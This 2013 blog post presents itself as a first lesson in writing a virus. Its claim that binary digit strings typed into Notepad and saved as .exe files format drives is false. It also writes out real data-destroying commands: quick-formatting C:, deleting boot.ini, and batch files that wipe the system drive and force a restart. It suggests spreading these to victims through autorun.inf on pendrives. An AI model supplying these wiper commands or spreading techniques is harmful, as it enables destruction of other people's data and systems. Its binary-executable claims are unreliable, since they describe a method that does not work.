Thursday 26 December 2013

Many people do not know that notepad serves as a HEX and binary editor too, and if you do not have an programming text editor or a Binary Editor then you can make many changes to system configuration files or make your own using this nifty little tool
Now using a binary editor or notepad I will teach you how to format an HDD using notepad. Consider it one of the first steps in learning to write a Virus.
But please use it only to make your repair/debugging work on your Windows System simpler, and not to infect others.
Basic  drive formating using Notepad-
Step 1.
Copy The Following In Notepad Exactly as it says 01001011000111110010010101010101010000011111100000
Step 2.
Save As An EXE Any Name Will Do. (Make sure in the save as dialog box you have selected All Files from filetype drop down)
Run the EXE to format the current Partition.
Now many think that one cannot format C drive when windows is running, well you can laught he evil laugh now cause it is possible with an Admin login and theright attributes .
Now to format the c drive with windows running just type in the command prompt format c:\ /Q/X
The Binary code for the same command is given below, and now you know what to do with it – paste it in notepad and save it as an exe.
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
For other drives-
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot. what this one does is it deletes your boot.ini file and thus the bootloader can’t find the windows directory to boot from. It can be easily repaired using any XP install disc and the know how, but that it for another post.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
Now that you have made the exe files to cause the mayhem, many will be wondering how to make this information useful (to f**k with other people), well i will show you the social engineering combined to make this into a true virus, make an autorun.inf file that points to these exe’s. What does it do, well the autorun.inf is the file in a CD/pendrive that causes the autorun to happen, and you can write your own so that your code runs as soon as the media is inserted to a victims computer.
Now you can combine the binary code (as diffrent lines in an exe file) to make a combined complete erase exe, or you can make a batch file to run them individually according to a menu – that makes it a tool for you!!! Works great.
Note : Do not try it on your PC. Don’t mess around with this is for educational purpose only. And please backup your data before experimenting.
Also I can’t spoon feed how to make batch files, autoruns, or serious system level code writing, but mark my words all one needs is the basic simple tools and a little bit of creativity to make a succeful exploit.
Now i present you some batch files that also mess with peoples drives, one that deletes all files on a drive, and the other the partitions:
Go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as anyname.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file
Do not in any circumstance run these (double click any of these exe’s or bat files) on your own computer!!!

No comments:

Post a Comment